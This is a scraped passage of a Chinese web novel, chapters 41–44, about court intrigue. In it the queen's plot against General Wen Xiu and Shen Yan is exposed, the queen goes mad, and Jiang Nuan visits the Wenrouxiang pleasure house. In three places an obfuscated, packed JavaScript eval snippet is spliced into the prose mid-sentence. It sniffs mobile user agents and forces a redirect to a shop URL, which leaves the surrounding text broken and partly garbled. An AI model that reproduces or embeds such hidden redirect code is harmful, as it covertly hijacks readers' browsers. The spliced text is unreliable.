说完便将温岫那封密信上的内容解读了出来,也得知了南疆接下来的一些动向。 他当时有过疑问,为什么温岫会信任这一封来路不明的密信,但温岫表示这个笔迹来自一个她非常信任的人,不会有假。 随后也派出了一些斥候前去验证消息的真假,从斥候带回来的消息推测出,南疆的近期的动向基本符合密信中所说。 于是他们二人嘀嘀咕咕了一个下午决定将计就计,在南疆残兵佯装遁逃时,由沈晏领兵追击深入鬼哭林,再与温岫来个里外夹击重创麻奴的精锐。 如此一来,可换取边境十年之内的太平,老百姓的日子也能好过一些。 可谁知…… 最后等来的却是他被逼入峡谷深处,三万将士除了他无一生还。 密文的最后一页还夹杂着一张绘图,图上是一串琉璃珠。想必这就是青衣提到的南疆进贡给皇后的五色琉璃手串。 在青衣的密文里,皇后可能是勾结南疆导致三万将士葬身鬼哭林的真凶,温岫将军不过是达成此交易的条件。但结合周正所写罪状书来看,当年温岫将军的死恐怕也是早已被谋划在内的。 温岫将军虽是个女子,但温容与早有意将平南军的未来交给她,为此不知抗下了朝中多少文官的口舌。 都道女子始终要嫁人的,若她日后嫁给好夫婿,那兵权迟早是要交出来的,况且大昭从未有女子领兵的先例。 可是温岫哪是一般女子? “其实我也很想嫁人,但是算命的说我五十岁之前结婚会克死说亲的全家,但本将军觉得此人信口雌黄。不如这样,大人身先士卒,替全家帮我验证一下此事是真是假,如何?” 那半百的文官你你你了半天,差点没一口气厥过去。 此事算不欢而散,无人再提过。 不过皇后娘娘倒是很积极地安排了好几次宴席,表面是赞赏她巾帼不让须眉,实际都是变相让她相亲。 负责牵线说亲的自然是个老得不能再老的太监。 这高贵的娘们儿还挺会剑走偏锋…… 温岫头两次还给个面子去,后面直接推脱不去了。到最后索性连昭宁城都不回了,宁愿窝在偏远的青罗城,跟军营里的汉子们大眼瞪小眼。 后来温容与因为身体原因便将大部分事情都交给温岫处理,想着温岫早点接任他便可以早日回昭宁城颐养天年。 李家也是在这个时候开始了部署,悄悄在平南军中培养自己的亲信,准备对温岫下手。 而恰在此时,皇帝将沈晏派去了青罗城。 皇后终于按捺不住想对沈晏下手,于是李家便走出了最大胆的一步,意图和南疆的人联合,妄想来个一石二鸟。 唐枳和唐田两个人看得咋舌,没想到李家人的胃口竟然如此之大,为了兵权不惜与南疆勾结,当真是一招引狼入室的险棋。 “先前因为丹书铁券逃过了灭族,只判了个流放。”唐田哼哼道:“这罪名一定,怎么着也得午门斩首,九族尽灭吧。” 听说那一家老小还在流放的路上呢,走得那叫一个舒坦,跟外出踏青似的。 唐枳:“李家倒台后,谢既明许是听到了些风声,一病不起了。” 之前,世子让他去调查谢既明和李家的来往,不知是他太聪明还是李家倒台太快,他们的人还没查出个所以然。这谢既明便将他与李家从前一些无关紧要的往来,写了满满当当三大页纸,连夜呈递给了圣上,以表忠心。 写完第二日他便一病不起,除了卧房的门,其他的门一概不出。军务要么手下的人协助处理,要么就端到他的病榻上解决。 沈晏冷哼了一声没说话。 倒是个会见风使舵的好手。 姜暖细细地将周正信中所写内容看了一遍,对他这个人倒做不出评价来,只是感叹人心的复杂和王权压迫下普通人内心关于黑白抉择的煎熬。 而温岫的死不仅有李家的算计,也是王权博弈下的祭品。 李家出于对权利的追逐对温岫痛下杀手,那皇后又是出于什么心理对沈晏欲除之而后快? 权利?情爱? 姜暖想起了那个坊间的传言。 她抬头看了一眼沈晏,沈晏眉头恨不得在眉心打个死结。当真相真的来临的时候,他之前强行压下去的痛苦又再次席卷而来。 或许,沈晏心里早就有了猜测吧,只是他不愿意相信这个荒谬的猜想。但是除了这个理由,似乎也找不到皇后杀他的合理动机。 纸上在写到皇后想让沈晏死在青罗城之时,前后都有被墨水划掉的痕迹,看起来像是涂改过,但是这墨痕与前后的字迹对比起来好像有些太新了。 “这佛像之前有其他人动过吗?”姜暖问。 “没有啊,我们找到佛像后第一时间便送过来了。”唐田将纸张拿过来查看,用指腹捻了捻墨痕处,“你不会怀疑这墨痕是有人趁我们不注意划上去的吧?” 这墨也没脱色啊,再说了刚刚打开佛像的时候也有封泥,不像是被人动过的。 唐枳看了姜暖一眼,知道她在怀疑什么。 “这佛像从发现到带到安王府,中途没有离开过我的手。” 不可能有人会在这么短的距离从他的眼皮子底下将佛像调包,除非…… “你们这几日在后山可有遇到什么人?”沈晏问。 唐家两兄弟齐齐摇头,这些时日他们悄悄在后山翻佛像,这山上连一条狗都没有,到广济寺拜佛的香客也不会无缘无故地往后山跑。 “不过,青竹居不日前来了一位访客。”唐枳犹豫道。 这青竹居恰好在后山,离他们待的地方也不远。他从后山最高处往下俯瞰,刚好能看到青竹居小院的一角。 沈晏问:“谁?” “是一位娘子。”唐枳:“林嬷嬷似乎跟那位娘子很熟络,倒不像是第一次造访。” 唐田搭话道:“那娘子我倒是有些眼熟。” 哥俩儿不约而同陷入了沉思。 姜暖将佛像托在手里左看右看,倒是没看到有什么奇怪的地方。 出于一个习惯,她将佛像捧到鼻尖嗅了嗅。 这气味…… 沈晏发现姜暖的动作,不由满脸疑问地向她看去。 “你这是……” 他从前便发觉姜暖喜欢嗅东西,特别是他每次靠近的时候,她总是下意识地耸耸鼻尖,一开始他还以为是自己身上有不好闻的味道,特意将熏香加量了,结果第二天姜暖对他打了三个连续的打喷嚏,离他八丈远。 后来才知道,是姜暖的鼻子太灵敏了,气味太重的话她会十分难受。 “这佛像上好像沾染了其他的味道。”姜暖抱着佛像猛吸了一口,不过气味太淡了,她只觉得很熟悉,似乎是在哪里闻到过。 “倒有点像脂粉味……”姜暖嘀咕道,但是也不能十分确定。 之前宋令仪和徐瑶送了一些脂粉给她,给她上妆的时候差点没给她呛死。 唐田听了倒是眼睛一亮,顿时一拍大腿,“我知道那位娘子是谁了!” 三个人齐刷刷看向他。 “温柔乡的掌柜!” 唐枳的眉心瞬间舒展开来,沈晏的眉心倒是皱起了。 姜暖却觉得这句话有点耳熟,想了好一会儿才想起昨夜宋令仪同她提过。 这么一回忆,突然就知道这股熟悉的香味在哪里闻到过了。 那夜与那梅娘擦肩而过的时候,一股浓烈的脂粉香味夹杂着柚子的清香扑鼻而来。 …… 第二日,沈晏将佛像带入宫中,五年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732405|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前青衣等勾结外敌之事重新被提起,幕后主使直指李家。而中宫皇后,东宫太子均被牵连其中。 顿时,朝野哗然。 李家一脉垂死挣扎,攻讦此事是无中生有,那青衣原本就有通敌叛国之罪,周正和她的关系也暧昧不清,这几页纸说不定也是他们胡编乱造。他们认定此事定是南疆的阴谋,意在动摇大昭国之根本。 维护太子的一干老臣眼见此事非同小可,连忙将太子和皇后摘了出来。 老学究们:是李家图谋兵权谋害忠良做出此等大逆不道之事,同太子和皇后有什么关系? 李党:变如脸? 坚持不站队的一派:真相最重要!查! 三方吵得那叫不可开交,皇帝靠坐在龙椅上一言不发,但谁都能看得出他此刻神色不虞,万来详见状忙端来一盏菊花茶给皇上降降火。 茶盏被重重地搁在了托盘上,发出不大不小的响声,七嘴八舌的臣子们终于安静了下来。 “此事交给镇安司彻查,刑部、大理寺协助。” 查是肯定要查的,但由镇安司全权处理,李家的九族怕是鸡窝里的鸡蛋都要被摇匀了。 明眼人都知道,李家算是彻底完蛋了。 太子已在回昭宁城的路上,皇后被禁足坤宁宫,远在青罗城的谢既明据说病死了,由谢家二房长子谢既渊将尸体运回昭宁城。 与此同时,昭宁城内谣言四起,关于安王世子的身世再一次被传得沸沸扬扬。 坤宁宫内,皇后身穿明黄色的风袍端坐在宫殿内,纤细的手腕上戴着一串菩提手串。她的妆容精致,仪态得体端庄,仿佛在静静地等待着什么。 守忠候在一旁,安静地得像一尊泥像。 “谢既明死了?”皇后开口问。 守忠动了一下,依然垂着头道:“死了,据说是得了疾病。” 皇后闻言摸了一下腕口的手串,冷哼了一声,“死的还真是时候。” “本宫乃是郭氏,太子是嫡长子,那李家的罪孽如何能算到本宫的头上?” “娘娘说的是。” “不过是死人的猜测,就凭那琉璃珠串,还妄想定了本宫的罪?” 她摸着手腕上的菩提串,神色傲然,“那五色琉璃手串早就被贪财的宫女偷窃变卖了,就算流落到南疆人的手里也情有可原,不是么?” 守忠弯腰:“娘娘英明。” 她又突然站起来,原本温婉的面容开始变得扭曲。 “皇上说过此生只会宠我信我一人,区区一个卑贱的婢子也妄想爬龙床生龙子?” 她摇摇晃晃地走了两步,神情逐渐癫狂,大笑着在大厅内转圈,“后宫三千嫔妃又如何,你们不过是伺候本宫的贱奴罢了!” “只有本宫的儿子才能当太子!只有本宫才可与皇上相配!” “哈哈哈哈哈哈……” 接着她又跌坐在地上,哭的满脸泪痕,嘴里不住地喃喃:“林语骄……林语骄……” “你这个贱人!你凭什么!你根本就不爱他!你怎么可以……” 她大哭起来,像个无助的孩子蜷缩在地上,抱着自己的膝盖呜咽。 “都怪你!都怪你!”她的声音又陡然变得尖锐起来,似恶鬼从地狱爬出,目露凶光。她挣扎着朝守忠爬过去,抓着他的脚脖子,大喊:“你这个贱人!生了一个贱种!” “皇后之位是本宫的!本宫的!你休想抢走皇上!” “那个贱种就不该存在!我要他死!我要他死!” “哈哈哈哈哈哈……碍我眼的都得死!” 守忠一把抓住了她的手腕,神色漠然。 “娘娘,你还记得吗?你杀了她。” 皇后突然愣住,歪头道:“杀了?”她的眼神有些许疑惑。 她重复着:“杀啦?” 最后肯定地说道:“杀啦!” 她像个孩子般高兴起来,腕口的手串因为刚刚的拉扯噼里啪啦地掉在了地上,琉璃珠滚落了一地。 42. 第 42 章 皇后疯了。 坤宁宫内时不时传出她的嘶喊和咒骂,时而哭泣,时而大笑。终于在某天清晨,消息传遍了长乐宫犄角旮旯,皇上派了御医们挨个儿来诊治,皆是摇头叹气。 “心神失守,无力回天。” 只开了些安神的汤药,但聊胜于无。 守忠将近前伺候的人都调去了殿外,只他一人在殿内守着皇后。 他将皇后乱糟糟的头发握在手里,用木梳一点一点地梳顺。 “娘娘,你还记得云妃娘娘吗?” 皇后此时目光呆滞,听了他的话歪了一下脑袋,铜镜里她的眼神有点空洞,最后慢慢聚焦到他的脸上。 “爹爹?” 她骤然回头,一把抱住守忠,像个孩子般埋在他的怀里哭诉。 她说皇上从头到尾都在骗她,又大骂林语骄是不要脸的贱人,生了一个贱种。 此时的她并不像一个端庄的皇后,反而像是一个抢不到吃食的孩童,不管不顾地在父亲的怀里撒泼打滚。 皇帝来看她的时候,她又将皇帝当成了她的舅舅哭诉。 她跪坐在地上,抱着皇帝的靴子不撒手,“舅舅,皇上想将那个贱种认下,他怎么可以这么对我!” 她又昂起头看他:“他是不是想让那个贱种当太子?” “舅舅你帮我杀了他!”脸上是未干的泪痕,表情天真又恶毒,她又笑了:“舅舅不是要除掉温岫吗?媛儿有办法。” 皇帝:“说来听听。” “我听闻那南疆的麻奴将军对温岫恨之入骨,我们不妨跟他做一笔交易……” 后面的话,皇帝没有听下去,他定在原地闭了闭眼,最终拂袖而去。 身后,是如梦初醒的皇后声嘶力竭的嘶吼。 “沈博彦你背弃了我——” “你怎么敢啊!你怎么敢……” 随着谢既明尸体一起到达昭宁城的,还有在他房中搜出的与李家勾结谋害温岫的往来密信。 据谢既渊所说,这些东西都是他兄长死之前亲口对他所说,说是愧对大昭,愧对皇上,更无颜面去见枉死的三万平南军。 谢家大房和三房皆受牵连,二房由于早年被分了出去,倒是侥幸逃过这一劫。 李家则因为罪证确凿被株连九族,拟好的圣旨和刽子手们即刻便出发北上,待宣读完圣旨之后,就地斩首。 昭宁城连绵了一个月的细雨终于停了。 西市,茶铺。 郝掌柜的小摊最近可谓是人声鼎沸,座无虚席。 他提着一壶热水在铺子里穿梭着,上一次这么热闹还是马扁子刚死那会儿,来喝茶的客人将他的死因编了不下八个版本。 有说是偷盗钱财被发现打死了扔河里的,也有说是发了横财一时得意忘形喝酒喝死的。总之众说纷纭,不过最后令人信服的竟然是比较玄乎的说法。 说是他因为造谣安王世子的身世,被那早逝的安王听到了,遂请他下去喝茶咧。 至于马扁子究竟是怎么死的,竟然无人在意真相了。 郝掌柜又想起前段日子,李家被抄家流放,世子身世的谣言起起落落,他总觉得这昭宁城的天不如从前那般估摸得准了。 从前有雨无雨抬眼一看便能猜个七七八八,现在虽瞧着天气晴朗,无风无雨,指不定待会儿就雷电轰鸣起来。 他这百年的老棚子也该加固了。 “掌柜,添茶!” “来咧——” 今日茶铺里,最热闹的还是两件事,第一件便是前些日子安王世子重提五六年前青衣通敌叛国一案,据说是那当今皇后联合李家勾结的南疆,意在谋害温岫将军,扶持自己的亲信接手平南军。 这第二件事,则是安王世子的身世又被重新提起来了。 一开始因为马扁子死的邪乎,大理寺又迟迟未找到凶手,大家对安王索命一事惴惴不安,便不约而同开始避而不谈。 如今,这热火朝天唾沫星子乱飞的盛况,看来有死灰复燃之势。 老话说嘛,众人拾柴火焰高,说的人多了,自然什么神神鬼鬼也都不怕了。 郝掌柜也不忌讳了,等人坐满了他便乐得躲在柜台后面数铜板,反正他也不去人堆里凑热闹,两耳不闻窗外事,神鬼显灵也不能抓了他去。 不过,今日却有了一个小小的变化。 也不知道是谁开了话头,突然说起了七殿下来。 郝掌柜一边数着铜板,一边竖起了耳朵。 这七殿下嘛,倒是可以听一听的。 “要说这七殿下也是命苦,这宫里的皇子除了他和太子,就没一个好养活的。” “可不是嘛,我听说都是皇后作的孽哟……” 说话那人突然低下了头,压低了声音道:“听说中宫的那位手段阴狠,害死了不少皇子呐。” 炉上的热水咕嘟嘟冒着热气,三五个人成一桌,大多都是各桌讨论各桌的。这会子一听有先前没听过的,便齐刷刷抬起头来,侧着身子往那挑话头的方向看去。 “要不是七殿下被太后养着,落在皇后手里说不定都活不到十六。” 旁边的人迅速搭话:“要我说啊,那七殿下喜欢穿女人的衣服估计就是做给那位看的……” 邻桌凑了个脑袋过来,故作神秘地说:“今年宫中的祭月,听说是七殿下登的台。”说完,颇有深意地扫视了一圈。 “太子都不曾登台祭月过吧?” 人群开始叽叽喳喳,大家调转了话题,开始讨论太子之位会不会易主。 郝掌柜听了还挺高兴的,说起来,他这个茶铺能开起来还多亏了七殿下咧。几年前他的老母亲重病,他打算卖了茶铺换些银钱。当时七殿下不过是偶然路过,便掏了钱买下了铺子,还让他继续留在铺子里当个管事的。谁曾想三年后,七殿下又将铺子原价卖给了他。 若七殿下真能当上太子,旁人不知,他肯定是第一个高兴的。 七殿下可是个好人咧。 长乐宫内,坤宁宫的大门被缓缓推开,发出沉闷厚重的响声。 守忠从里头走出来,他抬头看了看头顶的这片天,许是这段时间一直在下雨,今日的天好似水洗一般湛蓝。 他心头忽然有种说不出的畅快。 现如今,皇后病重需要静养,坤宁宫里里外外都被清理了个干干净净。他和一众奴才在侍卫的催促中,不紧不慢地离开了这座巍峨又阴森的宫殿。 半路上,镇安司的人拦住了去路,领头的唐枳同侍卫耳语两句便将他带去了镇安司。 昏暗的诏狱中血气冲天,守忠从一排排刑具跟前走过却面不改色,仿佛他已将生死置之度外。 沈晏将那蟹青色的香囊扔到他面前,“公公瞧这香囊上的兰花可是眼熟?” 守忠蹲在地上将那香囊捡起来,拍了拍灰道:“世子要问什么便问吧。” 沈晏便开门见山:“皇后要杀我的理由究竟是什么?” 守忠笑了一下:“世子可是听了那谣言?” 自皇后疯了之后,便言辞无状,将当年皇上和安王妃苟合一事说了出来,还大骂安王世子是贱种。 此时在宫中已然传的有鼻子有眼,据说连民间也对此津津乐道。 “世子你信么?”守忠露出了一个古怪的笑容。 见沈晏不说话,他又道:“皇后信。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739347|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “她要杀你,不过是因为她信你是皇帝的儿子。至于世子您是不是,很重要吗?”他只需要让皇后深信不疑就行了,不是么? 守忠又反问:“世子希望是吗?” 此人在试探他的态度,沈晏的表情冷下来:“你究竟是谁的人?” 守忠将肩背挺直:“恕奴才不能相告。” “不急,我们有的是时间……”沈晏起身离开。 …… 如今昭宁城内谣言四起,皇上的态度也琢磨不透,既不辟谣也不追责,让一众朝臣摸不着脑袋。 那些个老学究一个个的如坐针毡,这侄子怎么能变儿子呢! 当年,安王去世后,沈晏作为安王唯一的血脉本该继承安王的头衔,但皇上的旨意却迟迟没有下来,反而将世子接到宫中抚养。当时大家都还说笑,皇上这是把侄子当儿子养了。 但也没想过有朝一日能一语成谶啊。 还是得想办法先赶紧把太子捞出来。 但他们不知道的是,太子日日于庭院中仰首望天,战战兢兢,毫无斗志可言。 “殿下,你在想什么?”太子妃在廊下唤他。 “孤在想,”太子神色呆滞地回望太子妃,“那道圣旨是不是今日送到东宫。” 太子妃缓步走近,拂去他肩头的落叶。 “殿下不必忧心,不知者无罪,太傅和爹爹他们应当不会袖手旁观。” 太子摇了摇头:“孤不是担心这个。”他耷拉着脑袋,说:“母后若能保下一命,这东宫之位舍了又有何不可?” “殿下……”太子妃蹙眉,并不赞同他这般自暴自弃的想法。正欲开口劝解,太子却朝她挥手道:“罢了,你回屋吧,孤一个人静静。” 与此同时,朝堂上的格局也悄悄地发生了一些变化。 自李家失势后,原本只有一小部分臣子质疑太子是否是储君的最佳人选。现如今,质疑的声音越来越大,特别是七殿下最近在朝会上崭露头角,还洗去了脸上的浓墨重彩。 不少原本还给太子说话的老学究也开始动摇本心,在得知七殿下化名参加了今年春闱,并考进了一甲后,更是越发看七殿下顺眼起来。 从前想着皇帝子嗣艰难,太子又是嫡长子,储君之位应当顺理成章。但奈何,太子悟性确实欠佳,性子也优柔寡断。现在将太子与不穿女装的七殿下一比,到底还是七殿下更优秀一些。 于是乎,七殿下的支持者竟然迅速增多,和太子一派竟有了分庭抗礼之势。 就在他们以为储君之位必将在这儿人之中选一个时,另一个派别又有了冒头的趋势。 那就是支持安王世子认祖归宗,毕竟世子若真的是皇帝的骨肉,那么他的能力也绝对不比现如今的七殿下差。 但多位大臣屡次试探皇上的口风,都没得出一个结果,急得一群人抓耳挠腮的。 究竟是还是不是,皇上你倒是吭声儿啊! 而皇帝每次不是装没听见就是身感疲惫早早退朝,根本不给众人多说两句的机会。有时候会把终于穿的人模人样的七殿下留下来,单独谈话。也有的时候,是让安王世子留下。 其实都是叫去上书房下棋,聊聊家长里短,并没有谈论多少国事。 不知情的文武百官们只能在朱雀门前扣脑壳。 “昨儿安王世子在上书房待了一上午,据说晌午都是在宫里用的饭。” “前儿夜里七殿下还帮陛下批了不少折子呢。” “太子呢?” “东宫禁足呢。” “你说这皇上究竟是怎么个意思呢?” “反正太子不受宠。” “……” 43. 第 43 章 西市有个花灯巷,聚集了许多三教九流,也是昭宁城比较有名的勾栏瓦舍之一。 温柔乡便开在此处,至今已有八九个年头。 戏子卖笑,娼妓歌女以声媚人。温柔乡内以歌舞闻名,楼中女子大多只卖艺不卖身,是个只谈风月的最佳场所。 来寻欢的多是一些文人雅客,只为歌舞不为花容。 姜暖原本想拉着沈晏一道来,但他如今身陷身世风波,倒是不好在那种场所露面。 皇后被幽禁坤宁宫,太子虽然暂时被放了出来,看似没有遭到牵连,但有眼睛的人都能看得出来太子的失势。 七殿下如今一改往日矫揉造作的做派,说话也不似往日般要掐着嗓子,整个人仿佛脱胎换骨一般。 自打他接手了一部分政务,行事那叫一个干脆利落。 有些个老臣已经开始在吹七殿下颇有当年陛下的风姿,对于七殿下之前酷爱扮女装带着府里的面首满城乱跑的事情直接选择了失忆。 三日前,姜暖在宫门口见到沈慕朝时,她都差点没认出来。 当时沈慕朝坐在马背上,垂下头来看她,脸上还是熟悉的笑容,他说:“阿暖,改日一道骑马去啊。” “哎呀,忙着呢。”姜暖脚步头没停,只歪头看了他一眼,便匆匆进宫了。 心道这小子,是真能装啊。 不过也理解,皇后嫉妒成性,他要生存下来也不容易。要是不想点办法猥琐发育,估计这会子都投胎好几轮了。 姜暖步履匆匆,虽觉得此人不能深交,但如果是跟他们站一边儿的,倒也没有什么坏处。 唉,但愿如此吧…… 沈慕朝看着那渐行渐远的背影,他的嘴角始终挂着一丝微笑,但眼睛里的温度却瞬间冷却下来。 天街的青石板被马蹄叩响,他纵马挥鞭的背影很快便消失在街道的尽头。 而那日,姜暖在面见圣上后,也终于知道,为什么外面的传言越来越烈。 这乍一看,沈晏的眉宇间完全就是皇帝的复刻,不过他们又是亲叔侄,这就很难说清楚了。 沈晏虽然嘴上说着谣言不可尽信,但她看得出来,沈晏其实在乎的要死。 但皇帝那边一直装作不知道谣言的事儿,完全把沈晏架在火上烤。姜暖突然觉得这皇帝还挺不当人的,该不会真是他的私生子吧? 那日皇帝突然单独召见她,也只是简单问了她几个她身份来历的问题。她老老实实地跪在地上把怎么遇到沈晏,又是怎么一路过来的都说了明明白白。 皇帝坐在龙椅上喝了两口茶,便放她离开了。 第二日一早,皇帝便下了旨意将皇后幽禁在坤宁宫,任何人无令不得相见。东宫外的守卫也撤了,太子被解除禁足。 据说太子被解除禁足后第一时间便是面见圣上,想见一见皇后,但被皇上驳回。他紧接着请求皇上将他这个太子废了,皇上气得斥责了他两个时辰。还将他罚跪在宗庙,说是什么时候想明白了什么时候出来。 姜暖听得直摇头,心觉这太子当得也是艰难…… …… 跨过锁澜桥后,再往前走百来步就是花灯街。顺着花灯街往里走,便进了有名的花灯巷。 姜暖刚踏入花灯巷,一股甜腻的脂粉味便扑面而来,那粘稠浓郁的气味差点没给她送走。她将腰间挂着的薄荷香包放在鼻端闻了闻,又整理了一下从沈晏房里掏出来的男装,这才提步走进去。 来之前,沈晏给了她一个十分重要的信息。 青衣当年在天衣阁还有个同胞的姐姐,名叫素练。 素练是负责给阁内的暗探绘制纹身的,但后来不知为何自杀而亡,据说是为情所困。 但沈晏推测,素练当年很有可能是炸死。 根据天衣阁留下的只言片语,当年素练确实因为爱上了一个男子,想脱离天衣阁。但阁中早已有一项铁律,那便是,凡进阁者,非死不出。 后来,那个男子好像是与旁人订了亲,素练在绝望之际割腕自杀,尸体被送到了后山的墓林入土为安。 彼时青衣外出执行任务方归,于墓前痛哭良久,后请求天衣阁除去素练的名字。 最后连带着关于素练的资料都烧了个七七八八,只留了一些只言片语下来。 这原本是没什么奇怪的,但有一年暴雨将墓林中几个棺椁冲刷了出来,负责看守墓林的人重新修整的时候,意外发现素练的棺椁是空的。 他还以为是尸骨被雨水冲走了,一开始没放心上,直到沈晏的人过去调查卷宗的时问起他,他才将这事儿说出来。 沈晏觉得有些古怪,便派了人去调查。 这一查,果然发现了不对劲。当年素练是假死,与那男子订婚的也不是旁人,就是素练本人,不过是用了化名,捏造了一个青楼女子的身份。 素练化名红袖与那男子过了三年的夫妻恩爱生活,后来男的变心,攀上了一个有钱的寡妇,便合计将红袖卖进了青楼。 据那老鸨说,红袖最后得了病,她怕传染给楼里其他的姑娘,便以最低贱的价格卖给了一个瘸腿的瞎眼男人。 “可能早就死了吧,那个病啊,可不好治。”老鸨毫不在意地说。 果然,爱情这玩意儿一旦沾染上,就完了。 姜暖有些不自在地扯了扯被修改得十分贴身的男装,总觉得这衣服上有一股若有似无的甜香。 沈晏虽然打包票说这衣服他没穿过,但她怎么觉得有点不太可信呢。 唉,也怪她,没事儿非要省这两个钱干啥。 此时恰好黄昏,花灯巷的花灯逐一亮起,她循着那靡靡之音,七拐八拐地来到了温柔乡的楼下。 小楼看着十分普通,但胜在陈列摆设颇有一股子超脱凡俗的出尘之味儿。她刚一进门就看到两个鬼鬼祟祟的身影,好像还有点眼熟。 她忙跟上去,一路跟到了二楼的包间。 那两个鬼鬼祟祟的人影在一个包间的门前拉拉扯扯,叽里咕噜的不知道在争执什么。 “你俩在这儿干嘛呢?” 姜暖从两个人的身后探出一个脑袋。 两人都被吓了一大跳,抱在一起想叫又不能叫的样子,像两只被邪恶狸花猫逼迫到墙角的小白鼠。 “姜暖?” 孟曦第一时间认出了她,后知后觉的苏酥忙唤了声姜姐姐。 “你俩在这儿干嘛呢?”姜暖又问。 孟曦探头探脑的左右看了看,挺直了腰板,反客为主道:“你来这里做什么?”说完盯着她的衣服古怪地叫了一声:“嗷~你这衣服是沈晏的吧!” 姜暖:“……” 回去得问沈晏要点精神赔偿费,双倍! 姜暖觉得奇了怪了:“你咋看出来的?” 孟曦撇了撇嘴,似乎是想起了一段不愉快的经历。 “这布料数这个颜色最难染,且这暗纹提花也不常见,当时布庄就出了这么一匹,我原本想买回去给哥哥当上榜的贺礼,谁知道最后被沈晏抢了先。” 姜暖:“哦,这样啊。” 那银子可以少赔一点。 “你还没说你来这里做什么?还穿这么花哨的衣服?”孟曦警惕地看着她,还不动声色地将苏酥护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739348|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了身后。 姜暖看了两人一眼,突然计上心头,平静道:“来抓奸啊~” 说完便一脚踹开了包间的大门。 这两小丫头,门口蛐蛐大半天了,她用脚趾头都能猜到这俩是为了谁来的。 “好啊,你果然对……”孟曦话未说完,屋内传来两名女子惊慌失措的声音。 两……两个? 姜暖将门踹开后,大摇大摆地走了进去,顺道对着两位绝色佳人吹了一个口哨。 “哟,宋兄弟,好巧啊,你也来这里听曲儿啊。” 宋怀轩此刻正坐在桌前,手脚都不知道往哪里放了,桌上的酒他一口都没喝。 最近几日,他不管去哪儿总能巧遇苏小姐,加上那晚的事,他便十分苦恼。 这时候,七殿下给他支了一个招儿,说女子最讨厌逛花楼喝花酒的男子,他不如去花灯巷找家花楼坐两天,那苏小姐知道了,自然心灰意冷了。 他当时也是被鬼摸了脑壳,竟然觉得此招可行,于是便挑了一家不是那么热情的花楼进来,但是刚坐下,他就有些后悔了。 那弹琴的女子媚眼如丝,像是有钩子似的,总往他身上瞟,瞟也便罢了,还是不是扫一下他的脐下三寸。 他最后只敢侧着身子坐,还没坐热乎,那跳舞的女子便一个劲儿地往他身上靠,脂粉的香气随着她手里的水袖拼了命地往他脸上飞。 他一时间如坐针毡,恨不得马上就走,但是那两位小姐已经堵在了门口,他又变得进退维谷。姜暖虽然毫不客气地一脚踹开了包间大门,但此刻的他看着姜暖就跟乞丐看见粥棚似的亲切。 “宋公子,奴家好怕啊~” 两位美人娇弱地就想往他身上靠,宋怀轩迅速起身打断施法,“你们两位先下去吧,我有朋友来了。”他指着姜暖说道。 两位美人先是打量了一下已经落座的姜暖,又看了一眼门外的两个小姑娘,互相交换了一个眼神后,便准备告辞。 谁知姜暖却抬手将人拦了下来,她朝门外喊:“进来呀,不是来捉奸的么?” 此话一出,屋里屋外的人都有点尴尬。 孟曦和苏酥手挽着手进来,孟曦左看右看一时间也不知道说什么,她哪儿晓得姜暖这人这么猛,那房门说踹就踹,捉奸二字也是张口就来。 她什么时候说过她们二人是来捉奸的! 苏酥则紧张地搓着手指,支支吾吾地开口道:“宋公子好久不见。” 她今天也没什么意思,就是想来说清楚,如果说只是宋公子来逛花楼只是为了让她心死,那大可不必这样。她以后不再纠缠了便是,何苦要用这种方式羞辱她呢。 那跳舞的女子出来打圆场,道:“客人说笑了,来这里的都是图个乐子,钱货两讫,何来捉奸一说呢?” “哦,什么乐子?”姜暖歪头看她。 扶摇心说你都来这儿了跟我装什么懵懂无知小闺秀呢,不过吐槽归吐槽,她面上仍旧是挂着微笑,“自然是美酒佳人,风月无边。” “怎么个风月无边?” 扶摇脸上的笑容都僵住了,连一直站在她身后垂着眼的泠音都忍不住抬头看过来。 哇,不会是来找茬的吧。 孟曦忍不住去拉姜暖的袖子,小声蛐蛐道:“你少说两句吧。” 宋怀轩站也不是坐也不是,屋子的气氛实在是太奇怪了。 “扶摇,泠音,可是你们怠慢了客人?” 得知有三位女客踹了包间的门,温柔乡的掌柜梅娘唯恐是出了什么大事,匆匆赶来。 宋怀轩默默松了一口气。 44. 第 44 章 梅娘看着三十出头,穿着一身降红色的裙装,发髻简单,但搭配了比较花哨的发饰。不过与她的气质倒是不冲突,倒显得雍容华贵。就是不太像个烟花之地的掌柜,倒像是深宅里娇养着的金丝雀。天青色的披帛搭在她的腕上,恰好遮住了那腕口的红梅。 宋怀轩上前解释一番后,才知道是误会一场,梅娘挥挥手将扶摇和泠音打发走。 “温柔乡许久不来女客,今日倒是头一遭接待了三位。”她笑意盈盈地打量了一下屋子内扮做男装的三个姑娘。 